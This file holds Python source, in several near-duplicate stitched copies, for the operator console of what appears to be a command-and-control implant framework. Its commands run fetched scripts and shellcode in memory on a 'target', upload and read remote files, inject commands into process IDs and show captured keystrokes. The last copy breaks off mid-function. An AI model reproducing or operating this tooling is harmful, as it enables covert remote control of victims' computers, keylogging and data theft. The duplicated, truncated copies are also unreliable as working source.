class Shell: def __init__(self, db, cli=False): self.cli = cli self.db = db self.init_cmds() def init_cmds(self): self.cmds = {} self.cmds['help'] = self.help self.cmds['fetch'] = self.fetch self.cmds['shell'] = self.shell_exec self.cmds['read'] = self.read_file self.cmds['upload'] = self.upload_file self.cmds['delay'] = self.update_delay self.cmds['exec'] = self.exec_code self.cmds['ps'] = self.ps self.cmds['inject'] = self.inject self.cmds['alias'] = self.set_alias self.cmds['background'] = None self.cmds['keylogger'] = self.keylogger self.cmds['exit'] = self.exit self.alias = Alias() def get_cmd(self): return self.cmds def flush_output(self): self.output = "" def evalute_cmd(self, cmd): full_cmd = cmd self.flush_output() self.data = cmd cmd = self.data.split(' ', 1)[0].lower() if cmd not in self.cmds: return ("", full_cmd) callback = self.cmds[cmd] if not callback == None: data = callback() return (self.output, data) return ("", "") def output_cli_or_str(self, message): if self.cli: UI.warn(message) return "" else: return "[*] %s\n" % message def help(self): self.output = '''Help Menu\n''' + '=' * 9 + \ '\n' + tabulate({'_Commands': [ 'background', 'fetch', 'exec', 'read', 'upload', 'ps', 'inject', 'keylogger', 'alias', 'delay', 'shell', 'screenshot', 'help', ], '__Args': [ '', 'path/url, cmd', 'path/url', 'remote path', 'path/url, path', '', 'pid, command', 'number of line (default 20)', 'key, value', 'milliseconds', 'command', '', '', ], '___Descriptions': [ 'Return to the main console (CLI only)', 'In memory execution of a script and execute a command', 'In memory execution of code (shellcode)', 'Read a file on the remote host', 'Upload a file on the remote system', 'List processes', 'Inject command into a target process (max length 4096)', 'Show last n line of keystrokes captured', 'Create an alias to avoid typing the same thing over and over', 'Update the callback delay', 'Run command by spawning cmd.exe /c', 'Take a screenshot', 'show this help menu', ]}, headers="keys", tablefmt="simple") self.output += self.alias.list_alias() self.output += self.alias.list_custom_alias() return "" def fetch(self): try: (cmd, path, ps) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path).decode() else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) self.output += self.output_cli_or_str("Executing %s" % ps) return "%s;%s" % (data, ps) else: self.output += self.output_cli_or_str("Cannot fetch the resource") return "" def keylogger(self): size = Utils.get_arg_at(self.data, 1, 2) try: size = int(size) except: size = 20 proc = subprocess.Popen("tail -n %d %skeylogger_%s.log" % (size, Log.create_folder_tree(), self.guid), shell=True, stdout=subprocess.PIPE) self.output = proc.stdout.read() return "" def read_file(self): try: (cmd, path) = self.data.split(" ", 2) return "Get-Content %s" % path except: self.output += self.output_cli_or_str("Missing arguments") return "" def upload_file(self): try: (cmd, path, remote) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" #path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data.decode()) ps = Utils.update_key(ps, "PATH", remote) self.output += self.output_cli_or_str( "Payload will be saved at %s" % path) return ps else: self.output += self.output_cli_or_str("Cannot fetch the resource") return data def exec_code(self): try: (cmd, path) = self.data.split(" ", 1) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 16) ps = Utils.update_key(ps, "PAYLOAD", data) self.output += self.output_cli_or_str( "Payload should be executed shortly on the target") return ps else: self.output += self.output_cli_or_str("Cannot fetch the resource") return data def inject(self): try: (option, pid, cmd) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd)) ps = Utils.update_key(ps, "PID", pid) self.output += self.output_cli_or_str("Injecting %s" % cmd) self.output += self.output_cli_or_str("Into process with PID %s" % pid) return ps def ps(self): ps = Utils.load_powershell_script("ps.ps1", 0) return ps def update_delay(self): delay = Utils.get_arg_at(self.data, 1, 2) self.output += self.output_cli_or_str("Updating delay to %s" % delay) return "delay %s" % delay def set_alias(self): try: (cmd, key, value) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" self.alias.set_custom(key, value) self.output += self.output_cli_or_str("%s is now set to %s" % (key, value)) return "" def shell_exec(self): command = Utils.get_arg_at(self.data, 1, 1) self.output += self.output_cli_or_str( "Spawning cmd.exe to execute: %s" % command) return "cmd.exe /c %s" % command def exit(self): return "exit"
class Cli: def __init__(self, config): self.cmds = {} self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.cmds["purge"] = self.flushdb self.cmds["os"] = self.os_shell self.shell_cmds = {} self.shell_cmds["help"] = self.show_help_shell self.shell_cmds["fetch"] = self.fetch self.shell_cmds["read"] = self.read_file self.shell_cmds["upload"] = self.upload_file self.shell_cmds["delay"] = self.update_delay self.shell_cmds["refresh"] = self.refresh self.shell_cmds["exec"] = self.exec_code self.shell_cmds["ps"] = self.ps self.shell_cmds["powerless"] = self.powerless self.shell_cmds["inject"] = self.inject self.shell_cmds["alias"] = self.set_alias self.shell_cmds["background"] = None self.shell_cmds["exit"] = None self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() self.completer = Completer(self.cmds) readline.parse_and_bind("tab: complete") readline.set_completer(self.completer.complete) def set_prompt(self, prompt): self._prompt = prompt def prompt(self): return UI.prompt(self._prompt) def set_guid(self, guid): self.guid = guid def set_interact(self, guid): self.guid = guid def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd) def exit_cli(self, data): os._exit(0) def list_clients(self, data): print("\nList of active shells\n"+"-"*21+"\n") for shell in self.db.get_all_shells(): guid = shell.split(":")[0] timestamp = Utils.unix_to_date(self.db.get_data(shell)) prompt = self.db.get_data("%s:prompt" % guid) id = self.db.get_data("%s:id" % guid) if not id == "": if Utils.get_arg_at(data, 1, 2) == "full": print(" %s\t%s %s last seen %s" % (id, prompt, guid, timestamp)) else: print(" %s\t%s" % (id, prompt)) def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.completer = Completer(self.shell_cmds) readline.set_completer(self.completer.complete) readline.parse_and_bind("tab: complete") self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID") def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return if not log_path in ("http", "event", "error"): UI.error("Invalid path") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) data = list(reversed(data)) print("\nLast %d lines of log\n----------------------\n" % rows) data = list(data) for i in range(0, rows): try: print data[i] except: pass def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print("Deleting shell with ID %s" % current_id) else: UI.error("Invalid session ID") def show_help(self, data): print("\nHelp Menu\n"+"="*9) print("\n" + tabulate({ "Commands":["list","interact","show","kill", "os", "purge","exit","help"], "Args":["full","id","(error,http,event) rows","id", "command", "force", "", ""], "Descriptions":["List all active shells","Interact with a session","Show error, http or event log (default number of rows 10)", "kill shell (clear db only)", "Execute command on the system (local)", "WARNING! Delete all the Redis DB", "Exit the application","Show this help menu"] }, headers='keys', tablefmt="simple")) def flushdb(self, data): force = Utils.get_arg_at(data, 1, 1) if force: self.db.flushdb() UI.error("The whole redis DB was flushed") else: UI.error("Please use the force switch") def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print "Executing: %s\n----------------------\n" % cmd output = subprocess.check_output(cmd, stderr=subprocess.PIPE, shell=True) print output # shell commands start here def get_cmd_output(self): timestamp = time.time() while int(time.time() - timestamp) < int(self.config.get("max-output-timeout")): output = self.db.get_output(self.guid) if len(output) >= 1: for item in output: print item break def show_help_shell(self, data): print("\nHelp Menu\n"+"="*9) print("\n"+ tabulate({ "Commands":["background","refresh","fetch","exec","read","upload","ps","powerless","inject","alias","delay","help"], "Args":["","","path/url, cmd","path/url","remote path","path/url, path","","powershell cmd","pid, command","key, value","milliseconds"], "Descriptions":["Return to the main console","Check for previous commands output","In memory execution of a script and execute a command", "In memory execution of code (shellcode)","Read a file on the remote host","Upload a file on the remote system", "List processes","Execute Powershell command without invoking Powershell","Inject command into a target process (max length 4096)", "Create an alias to avoid typing the same thing over and over","Update the callback delay","show this help menu"] }, headers='keys', tablefmt="simple")) self.alias.list_alias() self.alias.list_custom_alias() def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return "" def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return "" def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 16) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps def inject(self, data): try: option, pid, cmd = data.split(" ", 2) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into process with PID %s" % pid) return ps def ps(self, data): ps = Utils.load_powershell_script("ps.ps1", 0) return ps def update_delay(self, data): delay = Utils.get_arg_at(data, 1, 2) print "Updating delay to %s" % delay return "delay %s" % delay def refresh(self, data): for item in self.db.get_output(self.guid): print item return "" def set_alias(self, data): try: cmd, key, value = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
class Cli: def __init__(self, config): self.cmds = {} self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.shell_cmds = {} self.shell_cmds["help"] = self.show_help_shell self.shell_cmds["fetch"] = self.fetch self.shell_cmds["read"] = self.read_file self.shell_cmds["upload"] = self.upload_file self.shell_cmds["delay"] = self.update_delay self.shell_cmds["refresh"] = self.refresh self.shell_cmds["exec"] = self.exec_code self.shell_cmds["ps"] = self.ps self.shell_cmds["powerless"] = self.powerless self.shell_cmds["inject"] = self.inject self.shell_cmds["alias"] = self.set_alias self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() def set_prompt(self, prompt): self._prompt = prompt def prompt(self): return UI.prompt(self._prompt) def set_guid(self, guid): self.guid = guid def set_interact(self, guid): self.guid = guid def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd) def exit_cli(self, data): os._exit(0) def list_clients(self, data): print "\nList of active shells\n-----------------------\n" for shell in self.db.get_all_shells(): guid = shell.split(":")[0] timestamp = Utils.unix_to_date(self.db.get_data(shell)) prompt = self.db.get_data("%s:prompt" % guid) id = self.db.get_data("%s:id" % guid) if not id == "": if Utils.get_arg_at(data, 1, 2) == "full": print " %s\t%s %s last seen %s" % (id, prompt, guid, timestamp) else: print " %s\t%s" % (id, prompt) def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID") def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print "\nLast %d lines of log\n-----------------------\n" % rows data = list(reversed(data)) for i in range(0, rows): try: print data[i] except: pass def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print "Deleting shell with ID %s" % current_id else: UI.error("Invalid session ID") def show_help(self, data): print "\nHelp Menu\n-----------------------\n" print "\tlist args (full) List all active shells" print "\tinteract args (id) Interact with a session" print "\tshow args (error/http/event, count) Show error, http or event log (default number of rows 10)" print "\tkill args (id) Kill shell (clear db only)" print "\texit Exit the application" print "\thelp Show this help menu" # shell commands start here def get_cmd_output(self): timestamp = time.time() while int(time.time() - timestamp) < int(self.config.get("max-output-timeout")): output = self.db.get_output(self.guid) if len(output) >= 1: for item in output: print item break def show_help_shell(self, data): print "\nShell Help Menu\n-----------------------\n" print "\tbackground Return to the main console" print "\trefresh Check for previous commands output" print "\tfetch args (path/url, command) In memory execution of a script and execute a commmand" print "\texec args (path/url) In memory execution of code (shellcode)" print "\tread args (remote path) Read a file on the remote host" print "\tupload args (path/url, path) Upload a file on the remote system" print "\tps List processes" print "\tpowerless args (powershell) Execute Powershell command without invoking Powershell" print "\tinject args (pid, command) Inject command into a target process (max length 4096)" print "\talias args (key, value) Create an alias to avoid typing the same thing over and over" print "\tdelay args (milliseconds) Update the callback delay" print "\thelp Show this help menu" self.alias.list_alias() self.alias.list_custom_alias() def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return "" def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return "" def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 12) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps def inject(self, data): try: option, pid, cmd = data.split(" ", 2) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into process with PID %s" % pid) return ps def ps(self, data): ps = Utils.load_powershell_script("ps.ps1", 0) return ps def update_delay(self, data): delay = Utils.get_arg_at(data, 1, 2) print "Updating delay to %s" % delay return "delay %s" % delay def refresh(self, data): for item in self.db.get_output(self.guid): print item return "" def set_alias(self, data): try: cmd, key, value = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
class Cli: def __init__(self, config): self.cmds = {} self.cmds['exit'] = self.exit_cli self.cmds['list'] = self.list_clients self.cmds['interact'] = self.interact self.cmds['show'] = self.view_event self.cmds['help'] = self.show_help self.cmds['kill'] = self.kill_shell self.cmds['purge'] = self.flushdb self.cmds['os'] = self.os_shell self.shell_cmds = {} self.shell_cmds['help'] = self.show_help_shell self.shell_cmds['fetch'] = self.fetch self.shell_cmds['read'] = self.read_file self.shell_cmds['upload'] = self.upload_file self.shell_cmds['delay'] = self.update_delay self.shell_cmds['exec'] = self.exec_code self.shell_cmds['ps'] = self.ps self.shell_cmds['inject'] = self.inject self.shell_cmds['alias'] = self.set_alias self.shell_cmds['background'] = None self.shell_cmds['keylogger'] = self.keylogger self.shell_cmds['exit'] = None self.config = config self.db = self.config.get('redis') self._prompt = 'Main' self.guid = '' self.alias = Alias() self.completer = Completer(self.cmds) readline.parse_and_bind('tab:complete') readline.set_completer(self.completer.complete) start_cmd_sync(config) def set_prompt(self, prompt): self._prompt = prompt def prompt(self): return UI.prompt(self._prompt) def set_guid(self, guid): self.guid = guid def set_interact(self, guid): self.guid = guid def parse_cmd(self, data): cmd = data.split(' ', 1)[0].lower() if not self.guid == '': if cmd == 'background': self._prompt = 'Main' self.db.remove_active_user(self.config.get('uid'), self.guid) self.guid = '' elif cmd == 'exit': UI.error('*** You really want to kill this shell *** (yes/no)') if UI.prompt('Exit').lower() == 'yes': self.db.push_cmd(self.guid, 'exit', Utils.guid(), self.config.get('username')) self._prompt = 'Main' self.guid = '' else: self.db.append_shell_data( self.guid, '[%s] %s Sending: \n%s\n\n' % (Utils.timestamp(), self.config.get('username'), data)) Log.log_shell(self.guid, 'Sending', data, self.config.get('username')) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == 'help' or data == ''): self.db.push_cmd(self.guid, data, Utils.guid(), self.config.get('username')) else: # interacting with the main console if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) elif not cmd.strip() == '': UI.error('%s is not a valid command' % cmd) def exit_cli(self, data): os._exit(0) def list_clients(self, data): print '''List of active shells\n''' + '-' * 21 + '\n' for shell in self.db.get_all_shells(): guid = shell.split(':')[0] timestamp = self.db.get_data(shell) prompt = self.db.get_data('%s:prompt' % guid) id = self.db.get_data('%s:id' % guid) if not id == '': if Utils.get_arg_at(data, 1, 2) == 'full': print ' %s\t%s %s last seen %s' % (id, prompt, guid, timestamp) else: print ' %s\t%s' % (id, prompt) def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = '' for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(':')[0] break if not guid == '': self.completer = Completer(self.shell_cmds) readline.set_completer(self.completer.complete) readline.parse_and_bind('tab: complete') self.guid = guid self.db.add_active_user(self.config.get('uid'), self.guid) self._prompt = self.db.get_data('%s:prompt' % guid) else: UI.error('Invalid session ID') def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == '': UI.error('Missing arguments') return if log_path == 'key': UI.warn("Your encryption key is '%s'" % self.config.get('encryption-key')) return if log_path == 'password': UI.warn("Your server password is '%s'" % self.config.get('server-password')) return if not log_path in ('http', 'event', 'error'): UI.error('Invalid path') return log_path += '.log' rows = Utils.get_arg_at(data, 2, 2) if rows == '': rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, 'rb').readlines(): data.append(line) data = list(reversed(data)) print '''Last %d lines of log\n----------------------''' % rows data = list(data) for i in range(0, rows): try: print data[i] except: pass def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = '' for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(':')[0] break if not guid == '': self.db.delete_all_by_guid(guid) print 'Deleting shell with ID %s' % current_id else: UI.error('Invalid session ID') def show_help(self, data): print '''Help Menu\n''' + '=' * 9 print '\n' + tabulate( { 'Commands': [ 'list', 'interact', 'show', 'kill', 'os', 'purge', 'exit', 'help', ], 'Args': [ 'full', 'id', '(password,key,error,http,event) rows', 'id', 'command', 'force', '', '', ], 'Descriptions': [ 'List all active shells', 'Interact with a session', 'Show server password, encryption key, errors, http or events log (default number of rows 10)', 'kill shell (clear db only)', 'Execute command on the system (local)', 'WARNING! Delete all the Redis DB', 'Exit the application', 'Show this help menu', ] }, headers='keys', tablefmt='simple') def flushdb(self, data): force = Utils.get_arg_at(data, 1, 1) if force: self.db.flushdb() UI.error('The whole redis DB was flushed') else: UI.error('Please use the force switch') def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print '''Executing: %s\n----------------------''' % cmd try: output = subprocess.check_output(cmd, stderr=subprocess.PIPE, shell=True) except: UI.error('Command failed to execute properly') output = '' print output def show_help_shell(self, data): print '''Help Menu\n''' + '=' * 9 print '\n' + tabulate( { 'Commands': [ 'background', 'fetch', 'exec', 'read', 'upload', 'ps', 'inject', 'keylogger', 'alias', 'delay', 'help', ], 'Args': [ '', '', 'path/url, cmd', 'path/url', 'remote path', 'path/url, path', 'pid, command', 'number of line (default 20)', 'key, value', 'milliseconds', ], 'Descriptions': [ 'Return to the main console', 'In memory execution of a script and execute a command', 'In memory execution of code (shellcode)', 'Read a file on the remote host', 'Upload a file on the remote system', 'List processes', 'Inject command into a target process (max length 4096)', 'Show last n line of keystrokes captured', 'Create an alias to avoid typing the same thing over and over', 'Update the callback delay', 'show this help menu', ] }, headers='keys', tablefmt='simple') self.alias.list_alias() self.alias.list_custom_alias() def fetch(self, data): try: (cmd, path, ps) = data.split(' ', 2) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) UI.success('Executing %s' % ps) return '%s;%s' % (data, ps) else: UI.error('Cannot fetch the resource') return '' def keylogger(self, data): size = Utils.get_arg_at(data, 1, 2) try: size = int(size) except: size = 20 output = os.system('tail -n %d %skeylogger_%s.log' % (size, Log.create_folder_tree(), self.guid)) return '' def read_file(self, data): try: (cmd, path) = data.split(' ', 2) return 'Get-Content %s' % path except: UI.error('Missing arguments') return '' def upload_file(self, data): try: (cmd, path, remote) = data.split(' ', 2) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) data = base64.b64encode(data) ps = Utils.load_powershell_script('upload.ps1', 3) ps = Utils.update_key(ps, 'PAYLOAD', data) ps = Utils.update_key(ps, 'PATH', remote) UI.success('Payload will be saved at %s' % path) return ps else: UI.error('Cannot fetch the resource') return data def exec_code(self, data): try: (cmd, path) = data.split(' ', 1) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) data = base64.b64encode(data) ps = Utils.load_powershell_script('exec.ps1', 16) ps = Utils.update_key(ps, 'PAYLOAD', data) UI.success('Payload should be executed shortly on the target') return ps else: UI.error('Cannot fetch the resource') return data def inject(self, data): try: (option, pid, cmd) = data.split(' ', 2) except: UI.error('Missing arguments') return '' ps = Utils.load_powershell_script('injector.ps1', 1) ps = Utils.update_key(ps, 'PAYLOAD', base64.b64encode(cmd)) ps = Utils.update_key(ps, 'PID', pid) UI.success('Injecting %s' % cmd) UI.success('Into process with PID %s' % pid) return ps def ps(self, data): ps = Utils.load_powershell_script('ps.ps1', 0) return ps def update_delay(self, data): delay = Utils.get_arg_at(data, 1, 2) print 'Updating delay to %s' % delay return 'delay %s' % delay def set_alias(self, data): try: (cmd, key, value) = data.split(' ', 2) except: UI.error('Missing arguments') return '' self.alias.set_custom(key, value) UI.success('%s is now set to %s' % (key, value)) return ''
class Cli: def __init__(self, config): self.cmds = {} self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.shell_cmds = {} self.shell_cmds["help"] = self.show_help_shell self.shell_cmds["fetch"] = self.fetch self.shell_cmds["read"] = self.read_file self.shell_cmds["upload"] = self.upload_file self.shell_cmds["delay"] = self.update_delay self.shell_cmds["refresh"] = self.refresh self.shell_cmds["exec"] = self.exec_code self.shell_cmds["ps"] = self.ps self.shell_cmds["powerless"] = self.powerless self.shell_cmds["inject"] = self.inject self.shell_cmds["alias"] = self.set_alias self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() def set_prompt(self, prompt): self._prompt = prompt def prompt(self): return UI.prompt(self._prompt) def set_guid(self, guid): self.guid = guid def set_interact(self, guid): self.guid = guid def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not cmd == "help" or not data == "": self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd) def exit_cli(self, data): os._exit(0) def list_clients(self, data): print "\nList of active shells\n-----------------------\n" for shell in self.db.get_all_shells(): guid = shell.split(":")[0] timestamp = Utils.unix_to_date(self.db.get_data(shell)) prompt = self.db.get_data("%s:prompt" % guid) id = self.db.get_data("%s:id" % guid) if not id == "": if Utils.get_arg_at(data, 1, 2) == "full": print " %s\t%s %s last seen %s" % (id, prompt, guid, timestamp) else: print " %s\t%s" % (id, prompt) def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID") def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print "\nLast %d lines of log\n-----------------------\n" % rows data = list(reversed(data)) for i in range(0, rows): try: print data[i] except: pass def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 